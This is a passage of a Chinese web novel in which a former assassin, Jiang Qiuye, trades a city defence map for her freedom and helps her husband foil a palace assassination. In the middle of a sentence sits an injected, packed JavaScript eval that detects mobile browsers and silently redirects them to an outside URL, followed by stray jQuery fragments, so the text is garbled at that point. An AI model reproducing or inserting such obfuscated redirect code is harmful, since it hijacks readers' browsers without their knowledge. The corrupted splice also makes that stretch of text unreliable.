此密道乃双刃之剑,若盛京再被攻破,那他们季氏皇家便可从密道轻松脱逃。可若是这东西落在敌人手中,那对方便可从密道而入,直冲天子咽喉。 姜秋叶没有再犹豫,如今事情已经进展到了这一步,便只能一条路到黑。她将城防图揣入怀中,正将剩下文件放回暗格时,无意间打开了另一份卷宗,让她动作骤然停滞。 她将那卷宗拿起,双眼睁大,定定地看着那画像上的女人,记忆袭来。上面的人她有些熟悉,是真正的邱子叶!而卷宗边缘被撕坏,可想而知当初看到此画像时的暴怒。 她颤抖着,苦涩一笑,轻轻放下,手臂失去了力气,踉跄一番后,靠住书案才艰难稳住自己的身子。 原来...... 原来他早就知晓自己的身份,却一直不动声色。 此时她心中是山崩地裂般的震惊与割裂,被因自己而撕碎的血肉在缓慢重塑。 他究竟何时知晓? 竟然还能对自己如此和颜悦色。 若换做她,她能做到如此吗? 难怪他曾经总是不断问自己隐瞒之事。 她的简兮哥哥,真的好傻。 她垂下眸,抓起腰间那芙蓉玉坠,手指慢慢摩挲着花瓣边缘。本是光滑洁白,到了某一处变得粗糙,有些刺痛。 她这一生,或许最幸运的事,便是遇到她的简兮哥哥。 姜秋叶停在原地呆滞了很久,忽然听到刻漏嘀嗒作响,才回过神。手臂灌了铅一般,将那份画像重新收回到暗格之中,最后将其关上,复位。 她打开书房门,深深呼吸一口雨中干净的气息,又看看另一边紧闭的寝室,握紧双手,最后转身不带踌躇地离开王府,直往京杉书院而去。 言无似乎早已料到一般,打扮成一白脸书生,老早便站在书院门口等待着姜秋叶的到来。 看到她的身影后,不理会她眼中的愤怒,直接带她往后院而去。 几只青鸟停在树梢之上,言无没有任何催促,只是找来些许鸟儿吃食放在手中,那青鸟便飞来,一点点啄着那米粒。 姜秋叶也不说话,只是定定看着他的动作。两人许久沉默后,言无终于侧着头开口道:“东西拿来了?” 她没有回答,只是从怀中掏出那城防图,用力向言无掷去,惊走了他手上的鸟儿。他动作也快,扔掉手中剩下的米粒后,稳稳接住那图。 笑着乜视了她一眼,而后展开,看着其中的内容点点头,“是真的。” “自然是真的!”姜秋叶翻了个白眼,又走近几步,没好气道:“我要的东西呢?” 言无将城防图重新叠好,放入自己怀中,又掏出一颗药丸,递给她。 她将其接过,在手中观摩一番后,冷笑一声,两指将其捏碎,重新看回他道:“言无,我太了解你了,这根本不是最终的解药。你这是在逗我玩儿呢?就不信,我杀了你吗?” 言无对于她的行为并不惊讶,笑道:“叶儿妹妹,你真是比我想得还要聪慧。叶儿妹妹要不......别走了。我以后将飞燕阁给你,由你来做这下任阁主。祁王如今昏迷不醒,他什么都不是,你何必还跟在他身边。” “你给的药果然有问题。”她讽刺一笑,“告诉我,他如何才能醒来?” “何必如此呢?叶儿妹妹。”言无眼中有些不解,“若是我告诉你,他永远都醒不过来了呢?” 姜秋叶一颤,红了眼睛,暴怒:“言无,你找死!” 见她快要失控,并不想对她出手的言无微微叹气。最后抬起手,迅雷不及掩耳之势,一发暗器往竹帘处射出,一名站在竹帘后的人被暗器击中,鲜血呈星点状喷溅而出后,直接倒地不起。 紧接着,姜秋叶骨头内忽如其来的一阵剧痛,让她瞬间两眼发晕,单膝跪地。她揉着阵痛的脑袋与胸口,面色狰狞,抬眼看着言无冷漠的目光,又看向远处那戴着面罩的倒地之人,雨后清新的空气中,多了一丝令人作呕的血腥之气。 随着那人一番抽搐后,逐渐不再动弹,姜秋叶体内的剧痛也一点点消散,似乎有什么流逝了一般。随之而来的,是一阵奇怪的落空。 她不知这落空来源于何处,过去十几年,她日日与这毒相伴。她痛恨这控制她的枷锁,痛恨飞燕阁。曾经季辞说自己是罪人,她又何尝不是罪人呢。 想到今日书房中所发现那幅画卷,心中更是感慨万千。 她有罪,她罪不在过去阴暗的几十年,不在曾经杀害的人,亦不在自己的自私,她从来只是为了活下去罢了,从不觉得有对不起任何人。唯独一人,她犯下凌迟大罪。如今, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13091621|128729||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她唯有一愿,往后余生,她将原本来源于毒药的枷锁,转交至他的手上,被他禁锢,被他牵引,以赎其罪。 她呼吸逐渐平稳,耳旁嗡鸣不在,言无尖锐而无起伏的声音传入她的耳中,“叶儿妹妹,你的蛊,解了。即刻起,你不再是飞燕阁之人。” “蛊......”她讽刺一笑,“原来是蛊啊,竟这么好解。” 言无心无波澜地看着恢复力气后,撑着膝盖缓缓起身地姜秋叶,笑了笑,“叶儿妹妹,终于自由地第一日,不如和我一起饮一杯。” 姜秋叶面带疑惑,斜眼看着他,转头看了眼那边倒地,饲养母蛊地尸体。心中有些怀疑此举目的,便点点头,看他究竟要做甚。 两人围坐炉边,言无将煮好的酒斟至姜秋叶面前的杯中,问道:“叶儿妹妹自由后,最想做甚?” 姜秋叶心中防备着,没有喝酒,只随口道:“我想去寻一寻,曾在一本游记中看到的梨山。” “梨山?为何?” 她蹙眉,难道言无真只是想与自己闲聊?怎么可能? “听闻梨山有一种月蝶,能化解此生罪孽。” 言无自顾自喝着酒,笑道:“罪孽?叶儿妹妹有何罪孽?我怎不知。若是你见到那月蝶,直接把你所谓的罪孽推到我身上便好,反正你也如此厌恶我不是么?” 姜秋叶一怔,没有说话。 他反而好奇起来,问道:“叶儿妹妹,这些年相伴,我自以为很了解你。你,明明是个无心之人,却为何偏偏......对祁王上了心?” 她转头看向书院外,轻笑一声,“你问我,我或许也无法给你答案。就像你问我为何天要下雨,我也不知。我或许只能猜测一番,天要下雨,可能是雷公云母吵了架。” 言无听此话忍不住一笑。 姜秋叶继续道:“而我爱上季辞,可能是路边开了花,贱贱又偷吃了点心,雨后恰巧来了一道彩虹。我该用什么形容呢?总结来说,应该是......美好。” “美好......难怪了。”他苦笑低语。 “什么?”姜秋叶却没听清。 她又看了一眼窗棂外街道,心中急切,面上敷衍之意被言无看了出来,“叶儿妹妹,历来入飞燕阁之人,除非死,从无一人离开飞燕阁。你是第一个。” 他不知当初将她送到祁王身边的选择,究竟是正确还是错误。可如今她落下了心,长了翅,再也不是他那只系着金链的鸟儿。 姜秋叶没有回答,只是沉吟许久后,从袖中掏出那只金脚链,置于案上,推到他面前,道:“言无,我答应与你说几句话,并非为了与你闲聊,而是将此物还给你。既然我自由之身,从今往后,任何锁链于我无用,我也便不想再见到你。” “你问我为何会对季辞动心,我确实答不出来。有一点却能确定,以往人生十数载,我无一日快活,尽是阴暗与痛苦。可与他短短一年不到,却日日都是快活。” 说完后,姜秋叶直接起身,头也不回地离开了京杉书院,脚步带着从记事起,从未有过的轻快。对于飞燕阁,她早已做到了自己所能做的极限,她不欠言无任何。 而他面前的炉子下火光噼里啪啦,让他有些恍惚。 飞燕阁最初为骊王燕悻所创,而他,本是骊国三皇子,燕悟。明明是骊国继位者,少时却在一场马球赛中被人暗算伤了身,从此不能人道。 失去了继承权的他从那时起开始掌管飞燕阁。 或许人生本就阴暗,直到那日偶然于阁中见到阴暗下灵动的她。那时她少女形态出现,稚嫩而纯洁,刚升为银鬼不久,因跟着花魁些时日,便也学着日日打扮自己。 众人皆黑衣,只她一人花枝招展地穿了一身粉白在人群之中,戴了一头金钗,化了最时兴的妆,扭捏作态,大谈从花魁身上学到的伎俩,逗得他人哈哈大笑,便连他自己都勾起了唇角。 从那刻起,他暗自将她当作一道光,打在了从来无尽黑暗的飞燕阁以及他心中。 她说,路边开的一朵花。 她便是他心中在那时恰巧开的一朵花。 虽不能占有,却能将他认为最好的都给她。用药物调理过的极尽内力,永远不会留下疤痕的一身皮囊,能够忍受任何酷刑的精神与身体。 他本以为,作为杀手的她会对此喜爱,直到那日她将自己亲手打造的金脚链扔到他脸上,才忽然明白,原来她想要的,只是一个被称为“自由”的词汇。 心中虽愤恨自己的爱不被她所见,却还是给了她这个机会。 直到刚才,她告诉他,过往人生无一日快活,跟在祁王身边,日日快活。 他心中竟因此瞬间释然。 言无伸手将那金链拿过,小心翼翼放入自己怀中。 罢了,虽心中嫉妒,可若知今日,他或许仍会做相同的选择,给她最想要的东西,“自由”。 呆坐许久后,姜夏花从屋外步入京杉书院,笑道:“阁主,所有飞燕阁势力已经在盛京城外集结,奔稚那边传来密信,明夜少帝生辰宴,众人集结之时,我们可从密道直入太极殿,杀光季氏,以及晋国王公士族。” 101.收网 第一百零一章 是夜,月影斑驳,在盛京城外的山林之中,言无调动了九成飞燕阁杀手,准备从密道潜入,直取太极殿少帝人头。他将人分成四支小队,每小队分别由一金鬼带领,下面各分配两名银鬼,以及数名铜鬼,而剩下其余人皆跟随言无行动。 他依然身着一身青衣作书生装扮,站在树影之下,收起往日玩世不恭,平静命令道:“入宫之后,甲队,少帝。乙队,太极殿内众人。丙队和丁队,击杀禁军。你们都是刺客,不是士卒,所有行动必须快速。完成任务后,不得恋战,从原路返回密道,甲乙走水路离开,丙丁走邻城。听明白了吗?” “是!阁主!” 飞燕阁众人皆穿黑色夜行服,夜行服下是金丝软甲,个个面色紧张而严肃。 言无扫视了一圈众人,“此次任务,只许成,不许败。若失败,不用回飞燕阁,原地自裁反而多些快活。” “是!” 飞燕阁众人听闻此话心中并不感任何怪异,神色也未转变,只是点头默默应下。 其中一名金鬼摸了摸下巴,挑眉道:“阁主,除了皇宫中人,阁主是不是遗漏了另外一人?” 言无看向他没有回答。 那金鬼笑道:“祁王季辞,咱们骊国的心腹大患,竟不派人,去祁王府将其斩草除根么?” 言无讽刺一笑,“我的命令,你也敢质疑?” 金鬼看着他的神情,一怕,不敢再提问,只是低下头,又点点头。 另一光头金鬼嘲讽一笑道:“祁王中了阁主的毒,如今形同废人,阁主派人向太医查探过,他们确实挠破了脑袋,也不知如何解那毒。如今最重要的不是这废人,而是季氏,以及那群老不死的东西。” 无言并未说太多,只是抬头看了一眼今夜明亮的月光,闭了闭眼,道:“莫吵了,那边我自有安排。” 他深呼吸一口夜中暖风,抚了抚贴身放在胸口的金链,紧着他跳动缓慢的心脏。 虽说放走了他的鸟儿,可他想要的,是让鸟儿高飞于苍穹之顶,怎能容得下那鸟儿入了他人笼中。 …… 归鸿院中,季辞仍平静地躺在床上,这些时日无丝毫醒来的动静。太医一波波来,尝试了所有的方子,却见他脉象愈发微弱。 姜秋叶每日则不遗余力地亲自照顾,擦身,喂膳。 她握着他纤长的手,这么多时日的沉睡,他似乎瘦了一圈,拇指上的玉扳指有些松动。 摩挲一番,心中生出愧疚,太医离去后,眼神闪了闪。 明月推门而入,道:“王妃,该梳妆入宫了。如今王妃代表王爷出席寿宴,自不能迟。” “晓得了。” 明月心知她眼下低落,这些时日总是沉默不语,不是望着王爷定定发呆,便是望着窗外发呆。她试图讨姜秋叶欢心,道:“王妃,昨日绣女新制的雨丝锦王妃制服,极是雍容华贵,那金丝绣工看得奴婢都愣了眼。王妃可要换上?” 姜秋叶低眸,有些心动,但看着季辞依旧苍白的脸摇摇头,“随意吧,王爷如今这副样子,还是低调些好。” 最后她只穿了夏日常穿的藕粉龙绡罗裙,施淡雅脂粉,额间一芙蓉花钿,头戴玉簪,两缕青丝从耳旁垂下。 她走至床边,看了许久,在季辞额上落下一个轻吻,低声道:“夫君,叶儿入宫了。” 转身看了眼刻漏,见着时辰晚了,便不再磨叽,直接上了王府马车,同时带上一部分暗卫,随着马夫驾车往皇宫而去。 正当马车消失于街角尽头,王府后出现了几个鬼鬼祟祟的身影,着黑服,是几个飞燕阁的顶尖杀手。近日因着王府无人管辖,守卫并不森严,几人绕了一番后便躲过王府暗卫,从腰间抽出长剑,悄悄往安静如斯的归鸿院包围而去。 …… 广阔的晋和宫之中,随着晋肃帝曾经的扩建,虽不及曾经乾阳太和宫,如今却也已是斗拱交错,鎏金铜瓦。 傍晚将过,宫内灯火通明,平日空旷之地皆布满锦旗。宫女内侍们将用金碗所盛的珍馐美味端上张张案几,朝中众臣纷纷拾级而上,入太极殿内生辰宴。 宴中已是歌舞升平,舞姬站在太极殿中央跳起了绿腰,少帝目光稚嫩,落座于上方龙椅,认真地看着下方献舞。 大臣则觥筹交错,大谈特谈近日北方战事捷报。大晋这些年韬光养晦,战力大增,以如今看来,几年内攻入乾阳,也并非不可能。 永和宫中,淑妃今日动作却极为缓慢,宫女拿起早已准备好的华服,她却只是轻轻一瞥,问道:“魏王如今到何处了?” “回娘娘,魏王如今应已行至同州,还有三日便能到达封地连州。听闻,安家女早已提前几日到了地方,现在就等着魏王,到达后便能完婚。” “那就好。我这心中最担忧的,便是这魏王了。”淑妃笑着点点头,看着那华服,摆摆手,“本宫今日身体不适,便不前往太极殿赴宴了,你且退下。” “啊......是,娘娘。”那宫女心中略感怪异,却不敢多嘴,只得弓腰后退着离开寝宫。 淑妃转头,看向面前铜镜中的自己,想当初来到晋肃帝身边时,还年纪轻轻,如今眉眼间竟早生了细纹,岁月实在不饶人。 好在,一切都快结束了。 等今夜飞燕阁由内而外,直接攻破大晋心脏,骊国一统天下便也指日可待。 年少时曾一见钟情燕悻,他救她于流民之下,随着时间流逝,却慢慢记不清他的模样。不知如今他可依旧俊朗,还是或多或少因着历年征战多了沧桑。 好在,她终于能回到那人的身边,只是仰望着他,什么都不做,便已是她一生幸事。 淑妃随意用发带将头发束起,自己换上一身轻巧的夜行衣。在她正准备打开殿门时,片刻犹豫,又回到妆奁前,为自己上了一层朱色唇脂,看着镜中自己,终于满意露出浅笑。而后转身打开殿门,无一丝留恋,头也不回地离开了居住了十多年的永和宫。 空荡的宫殿,只剩下一阵风,卷起几瓣落在地上的桃花,除了两三个行走的宫女,不剩任何。 永和宫离太极宫有许长一段距离,却仍能听到那丝竹奏乐之声。她嘲讽一笑,感叹那些宴会中无知的朝臣,即将被飞燕阁屠戮殆尽。 这么多年的潜伏,让她实在心累至极。 她飞速地走过一段段蜿蜒小路,见到前方便是朱雀大门,仅仅十五六个守门侍卫,对于一个金鬼来说,并不算什么。 正当她准备迈出脚步时,一声清甜的声音忽而从身后响起,“淑妃娘娘,你去哪儿啊?” 淑妃一怔,皱眉转身,见到来人时一笑,“原来是你啊,姜秋叶。这个时辰,你不在宴会中,跟着我做甚?” “做甚?娘娘不是很清楚吗?”姜秋叶背着手笑了笑,“不对,应该喊您奔稚大人。我这般,自然是阻止你逃跑了啊,娘娘不是一向聪慧过人吗?这么多年的潜伏,不动声色,连我都是最后才发现你的身份,按理说,你很聪明才是。” 淑妃看着不远处的姜秋叶,有些气笑,“不是,姜秋叶,你凭什么认为自己能阻止得了我?别忘了银鬼与金鬼间实力的差距。我都知晓你曾经做的事了,虽说如今放了你自由。可你如此背叛飞燕阁,若非言无不许,我早把你这叛徒给惩治了!” 她并未理会淑妃所言,只是垂眸思索一番,忽然抬头问道:“娘娘,您当了晋安帝这么多年的淑妃,还与他有了魏王。你真的,对他从来没有过一丝动心吗?” 淑妃蹙眉,只觉此女脑子有问题,在这时刻,忽然问出此等愚蠢不相干的问题,可她还是回答道:“自然没有,若非与飞燕阁失联,我怎会等到今日才下手。” 她看着正在沉吟的姜秋叶,讽刺道:“爱上一个敌人,也只有你这般蠢妇才会如此。我虽委身,心中却心系燕皇。姜秋叶,你莫想着阻止我离开,否则就算言无保你,我也会在此地杀你!” 听闻淑妃的话后,姜秋叶忽然有些了然,心绪开阔。 片刻沉默后,只是无奈道:“娘娘,很遗憾,我不能让你离开此地。” “姜秋叶!你找死!” 淑妃逐渐失去了耐心,怒吼一声,从腰间拔剑,月下寒光泛过,剑尖往姜秋叶咽喉直去,速度之快,雷霆一般,步步紧逼。却没想到姜秋叶动作竟更快,面带一丝冷笑,只是轻轻转身,便躲过淑妃利剑。 剑锋利至极,轻轻便割断了一缕她耳边的青丝,她垂眸看了一眼那缓缓落地的几根,眉头微微一皱。 来不及她过多思索,淑妃步步杀招,又举剑,眉眼中厌恶更甚,朝着姜秋叶左右刺来。可她似乎能看透所有的招式一般,每一步都能以仅仅半寸的距离险险避开。 淑妃额头冒出细汗,明明每次都只差半寸,她试图在下一招弥补那距离,却依然以半寸差距躲开。如戏耍老鼠的猫儿一般,让她越发羞愤至极。 两人面对面你追我赶,穿过一片竹林,直接飞檐走壁上了琉璃瓦顶。淑妃转身下盘横扫而来,紧接着带出剑锋。姜秋叶轻轻侧翻,身上的龙绡也随着流动,隔开两人视线。在她再次落地的瞬间,轻盈抬腿踢中淑妃胸口。一口老血喷出,淑妃退后七八步才惊险稳住。 几块破碎的瓦片随着她们的动作掉落下方,她喘了许久,见姜秋叶忽然出手而来,虽无利刃,却每一记重拳都险些要了她命。 直到她用剑掀起瓦片,碎块朝着姜秋叶击去。姜秋叶忽然顿住,将隔空飞来的碎瓦片打开。淑妃见状寻到空隙与漏洞,再次出招。 此次已是避无可避,姜秋叶便不再闪躲,却抬起右手,食指与中指夹住利剑,随着身体带转,那寒铁硬剑竟被生生扳断。断裂的剑尖飞出,在空中旋转几番后,落在不远处的泥地中。 淑妃看着自己手中断裂的剑,满脸不可置信,道:“怎么可能?为什么?你明明只是飞燕阁一区区银鬼罢了!” 姜秋叶低头摸摸自己有些微疼的手指,还好没受伤,否则季辞那个唠叨男人又要说她。 她抬头甜笑起来,脸颊上的酒窝让她整个人有些许诡异,“娘娘太久不回飞燕阁,只知飞燕阁银鬼十人,金鬼五人,仅仅一个阶级的差距,确实无论是实力还是某些方面,都如隔天堑。可是......娘娘却没听过,飞燕阁还有天鬼两人。” “天、天鬼!”淑妃大惊,浑身无力地她重重的喘息着。她只偶然听闻天鬼传闻,此事却从未被证实过,她一直以为,不过传闻而已,“那、那为什么?” 为什么姜秋叶会以银鬼的身份出现? 姜秋叶只是淡淡道:“此次的任务,是我放弃天鬼身份,降为银鬼,向言无求过来的。” 她不愿与淑妃过多解释,自十三岁与妹妹跟在言无身边,被他亲自训练,实验,终于在她十五那年,她们达到了金鬼远远无法企及的地步。言无便为她们两人增设天鬼一级,从此除了杀人,不必再那细作之事。 姜秋叶今日未佩戴任何利刃进宫,她走上前,忽而如魅影一般,竟瞬间转至淑妃身后,朝着她小腿一踢,人便跪倒在地上。 淑妃面色狰狞,朝着她尖叫道:“我今日败在你手中,那你便杀了我好了!我即便是死,也不愿在这晋和宫中苟活!” 姜秋叶不再说话,只是沉默着一个手刀劈下,将她打晕过去,低喃道:“我承诺过季辞,不再随便杀人的,即便你是金鬼奔稚。我今夜的目的,也只是抓住你罢了。” 她做完这一切后,松了口气。 …… 与此同时,归鸿院内,季辞轻轻用帕子轻轻擦过指尖,将手中沾了血的宝剑扔给下属,看着地上被五花大绑的五人。 刚才那五名杀手进入寝室后,便直接往床榻凸起的被褥刺去,剑没入时,才发觉手感不对,掀开那被褥,发现只是几个被代替了的枕头。他们愣神之际,其中一人,便被帷帐另一边所遮掩的季辞砍断了手臂。 寝室冲入无数侍卫,杀手发觉中计,正要逃跑时,被包围了归鸿院的弓弩手再次团团围住,瓮中捉鳖,没想到这守卫竟是外松内严。不过一会儿,便落了下风,打断了下巴,连自杀都来不及。 天去从外面走入寝室,低头道:“王爷,我们在城外密林的密道入口处,发现了言无身影。对方见自己被包围,便没有反抗,已经抓入诏狱。” 季辞将手中沾了血的帕子随意扔到地上,“宫中情况如何?” “杀手从密道入太极殿后,便与殿中假扮为众人的侍卫搏斗起来。他们的金鬼果真厉害,一人便能击杀我们十余侍卫,好在有王爷提前部署了重兵和弓弩手,金鬼银鬼全部被击杀,只剩下几个还未来得及自杀的铜鬼。” “王妃那边,也将淑妃抓住,将人交给了下面的人。” “知道了。务必确保王妃安危,免得有何漏网之鱼伤了她。” 天去见季辞眉间挥之不去的担忧,心中不由想到那王妃功夫比王爷强多了,谁伤得了她。 倒是王爷,与其担忧王妃,不如担忧自己。万一今夜潜入王府的人中,有一名金鬼,他们都不会如此容易便将人降服。 …… 数日前, 夏夜微暖,空气湿润。 姜秋叶看着眼前的季辞将羊汤一滴不剩地饮下,低头笑了笑,他竟对自己如此信任。 若是她真听信了言无,在那碗汤中下了药,他是否也会这般无丝毫顾忌地饮下。 她不禁扯嘴一笑,“夫君,你就从来不怕,我在你膳中给你下药吗?想当初,晋肃帝也是因我而崩。” “你又不是没下过。” 听到这话,她忍不住低笑一声,竟忽然生出了一股回溯时间之感。那时她满脑子都是勾引,对他做出了常人难以容忍的下作之事,可他却仍包容了她,将正妃之位亲自送到她手上。 她垂眸,捏了捏自己的手指。 季辞用帕子净了嘴角,“再说,晋肃帝之死,非你所愿。” 姜秋叶缓缓道:“伺候在晋肃帝身边时,他与我说了许多夫君小时之事。” 他听闻后挠挠耳后,脸色有些不自然,“真是,什么都与你说,竟都不顾及自己胞弟的颜面,让你见笑了。” 她的手乖巧地放在膝盖之上,轻声道:“怎会见笑,能知夫君过去,叶儿荣幸。” 她舔了舔唇,欲言又止,季辞似乎看了出来,并未发话,只是静静等待她继续。 “夫君,若叶儿犯下不可饶恕的大罪,你还会......还会陪在叶儿身边吗?”她一边说着,忽然不受控制开始哽咽起来。 季辞眼神暗了暗,挪了挪上前,将她搂至怀中,轻声细语道:“我不是说过,过去无论何事,只要你肯依赖信任为夫,为夫愿为你解决一 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许久后,她感到唇有些发肿,他才将她放开,而后又紧紧拥进怀中,深吸一口来自于她身上的花香。 他抬手揉了揉她后脑,直到她又轻声唤了他一声,才终于完全放开她,定定看着她漂亮的桃花眼。 “叶儿。” “嗯?”姜秋叶捏了捏手,紧张地看着他。 “告诉我吧,把你的一切都告诉我,有为夫在,为夫为你解决。” 姜秋叶浑身有些发颤,恍惚地点点头,向来巧舌如簧的她却不知从何说起,季辞也未催促,只是看着她。 片刻后,他起身,拉上她的手往院中而去。 她眼中疑惑,他笑了笑,道:“为夫知你难言,我们一边走,一边说,你看可好?” 姜秋叶紧张的心随之平息下来,被他牵引着出了屋。 屋外清风徐徐,别枝惊鹊,半夜鸣蝉,月色洒落在说着一对私语的男郎女郎身上。 “夫君,我其实......其实不是邱子叶,我真名叫......姜秋叶。”走过老槐树底,她抬眼细细观察他的面部表情,见无变化,微微松了口气。 她给自己鼓足勇气,继续道:“我、我是飞燕阁的银鬼细作,不对,现在是银鬼,我以前是天鬼。” “天鬼?”季辞一怔,他似乎只听过关于飞燕阁天鬼的几句传言,并不知真假,却未想到,竟真有。 “嗯。”她颔首,“飞燕阁阁主,言无,在我十三时,不知为何看中了我和妹妹,啊,我妹妹,叫姜夏花,亲妹妹。” 她有些不知如何组织语言,又深呼一口气,“那时起,便一直被他带在身边,亲自培养。夫君,我曾经、曾经、其实很惧怕他。” 季辞一颤,“言无吗?” 他曾隐隐看出她心底的恐惧,没想到竟是因此人而惧。 他拉着她的双手,十指相扣,握紧,“叶儿莫怕,如今有为夫。” “嗯。”她回握着他,微微咧嘴,“我其实,出生于淮山北部,母亲生下妹妹后便离我们而去,而我对她也无印象。而父亲,是一个赌鬼。我们一家人靠着我卖龙须糖,还有、还有偷盗为生。他欠下了一大笔赌债,便将我们两人卖至飞燕阁,那年我六岁,夏花四岁。飞燕阁的训练很辛苦,但好在,我们都扛过来了。” 季辞忍不住蹙眉,深吸一口气,对自己的小妻子心疼至极。 六岁,她被自己父亲所弃,在飞燕阁为了活下去拼尽一切。而他六岁在做何?每日在晋和宫中,锦衣玉食,被家人宠爱,受大儒教导。 这个傻子,这样的她,让他如何去怨? “或许我与飞燕阁其他杀手不一样的地方在于,我从入阁第一天起,便痛恨这个地方,期盼着它的覆灭,期盼骊国的覆灭。飞燕阁的杀手,只是一件件冰冷的利器,毫无感情,甘愿被套上枷锁利用,我也不例外。直到......” 她一怔,发现两人竟已走到了一处荒芜的院落,院中一块平坦的巨石,远处墙壁下挂着一盏盏摇曳的灯笼。 此处很熟悉,曾经那夜动情,便是在此。她记得她第一次看到了季辞不同于表面的样子,衣裳敞开,清酒顺着他的脖颈往下而去,“颓废”一词因那晚在她心中生了根。 他牵着她的手在巨石上坐下,拥着她问道:“直到什么?” 姜秋叶这才回过神,将脑袋靠在他坚硬的胸膛前,心脏的震动让她心安,“直到那一年的夜晚,我一人爬上淮山山顶,忽见天地之广,而我竟是如此渺小。我还想到了......” 她心跳加快,耳根子有些发红,“......我还想到了你,曾无意间听闻你领兵五千大败骊军三万,或许是知晓原来世间有这样一人,能与强者如此抗衡,即便我不识你,却给了我生出思想的勇气与依仗。我在想,或许我也可以试着,去反抗呢?” 季辞定了定眼神,没想到在两人不相识的曾经,他便已经为她无意间给予了依靠,让她为此一路寻来。而他才能遇到如此美好而娇媚的她,他那常年附体的疾病才因她而散。 他心中似火烧一般,用力紧了紧怀抱,贴着她耳朵轻声道:“叶儿,我答应你,一定会为你,覆灭飞燕阁。” 姜秋叶心中大喜,又咬了咬唇道:“夫君,其实很早前,你那被捕的五个暗桩,是我泄露出去的。还有曾经涿竣王,也是我救的。” 她对此有些不自信,战战兢兢,“不过,我也就做过这两件事,其余的,都被我敷衍过去了。而且叶儿答应过夫君,未来做一个良善之人,叶儿也定会做到。” 他笑了笑,轻喊了一声“乖”。 “叶儿,这些事,为夫都原谅你。太奶奶曾说,凡人,各有各面。我不曾经历过你所经历的,又怎能拿对自己的要求来要求你?就算你有小心机,有时候有些疯癫,无论你哪一面,为夫都接受。无论如何,你都是我季辞的妻。” 姜秋叶:“......” 小心机? 疯癫? 她不知应笑还是应哭,心中却喜不自胜。片刻后,她忽然想起什么,从怀中掏出一个小药瓶,递给他。 季辞接过,放在手中把玩着,疑惑道:“这是?” “这是言无给我的药,说是吃了这药,便能让人口吐真言。吐真言定是真的,可他忘了,他是了解我,我却也了解他。他说这药无害,我绝不相信。” 他点点头,将药瓶放至巨石之上,“他让你用在我身上?” “嗯。此次他派我来此的任务,主要有二。其中一个为寻找与飞燕阁失联多年的金鬼奔稚,我找到了,便是永和宫那位淑妃娘娘。还有另外一个任务,在我看来,这才是他们最主要的任务。寻到盛京城防图,似乎连奔稚,以及其他的细作都在寻,我也不知那有何秘密,竟如此大动干戈。” 季辞低头思索一番,似乎猜到了言无寻那城防图的用意。 姜秋叶继续道:“夫君,上次我吐血你还记得吧。” “当然。” 她虽得了他承诺,却还是下意识解释自己的无奈,“飞燕阁为了控制其中的人,便会给我们喂下毒药,每个月想要压制其发作,便必须要拿到解药。言无答应了我,只要我把城防图拿到,他便把最终解药给我,放我自由。” 季辞笑了一声,“那便给他吧。” “啊?” 102.疯魔 第一百零二章 姜秋叶没反应过来,不明白为何他竟如此爽快应下。 季辞挑眉,“言无不是让你对我下这药,套出城防图吗?那便随了他愿吧。” 他伸手将一脸怪异的姜秋叶拉过,坐至自己腿上,“叶儿,其实,你体内的不是毒。” “不是毒?”姜秋叶震惊的同时,更惊异于他竟对自己的身体如此了如指掌。 “是蛊。”他双手将她圈住,“给他想要的东西,让他把你的蛊给解了,也好。” 她此刻或许太过紧张,没有细细思索他为何知晓此事,只是犹疑道:“就这样?把这么重要的东西给他?” “嗯,相信为夫,为夫此次帮你,灭了飞燕阁。” 他说得极为轻巧,似乎只是谈论今日天气一般,可她却不由自主地相信,他是认真的。 “只是这毒。”他伸手将小瓷瓶拿起,“作为飞燕阁阁主,言无定然不会如此好骗。刚好,我那边有一种药,非毒,服下后却可使人昏迷不醒,直到再次服下另一种药才会清醒。便是连太医令,都无法查出为何。只是接下来的时日,便要辛苦叶儿一人先暂时面对。” “而这图,也不要给得太轻易,等一些时日,让他们着急,才更容易上套。” “夫君......你这么信任我吗?便不怕......”不怕她只是向死而生,骗取信任,让他永远那般昏迷下去么? “叶儿若是真的想对为夫动手,刚才那羊汤中,已经下了此药。”他举了举手中的小瓶子,“你曾在刑部说,做我掌中刃,手中饵,记得吗?” 想起当初刑部的那一幕幕,姜秋叶不由笑出了声,点点头。 他将她搂紧,“这次便由为夫,做你的掌中刃,手中饵,好吗?” 姜秋叶心中感动,肩膀轻微地耸动,垂下眸将微红的眼眶遮掩。 “只是......”他上下扫视一番姜秋叶。 “只是什么?”那视线盯得她忽然紧张起来。 他肃穆道:“叶儿想知道那盛京城防图所在,便应自己努力争取才是。” 姜秋叶没反应过来,只是瞪着圆溜溜的眼睛有些不解。 陡然间,她竟被季辞直接一个翻身压在身下,巨石上有些冰凉,贴着她轻薄的裙衫,她“啊”得轻叫了一声,吓了一跳,低沉的声音悠悠传入耳中:“叶儿怎么变傻了,这么重要的东西,为夫怎能轻易便交到你手上?况且......” “......那夜我们在此地,还有事情没做完。“ 她终于反应过来,果然! 她就知道!! 这人是个道貌岸然的衣冠禽兽!!! …… 晋和宫中, 姜秋叶将昏迷的淑妃交给身后暗卫,便直接一人往太极殿而去。她虽是相信季辞部署,可想到如此多金鬼聚集,那定然是一场无可避免的血战。 她奔跑着上了月台时,刺杀便已结束,空气中蔓延着浓稠的血腥,禁军收拾着地上的尸体,有禁军的,有杀手的,还有许多被生擒的。 她终于松了一口,此次飞燕阁派出九成细作,便为今晚行刺。如今不仅任务失败,组织也几近覆灭。 只是她心中还是带着一股怪异的不安,总觉得似乎被遗漏了什么。 她慢慢走过,环视一圈,骤然一盆凉水从头到脚淋下,她意识到,姜夏花不在此地! 姜夏花身为言无亲自培养的天鬼之一,实力如何,她再清楚不过。 而她对自己的占有欲,姜秋叶也比任何人都知晓。 此次她叛变于飞燕阁,动心于季辞,就算无任务,姜夏花又怎会容忍其人存活于世? 季辞此刻应在王府,她必须尽快回去! …… 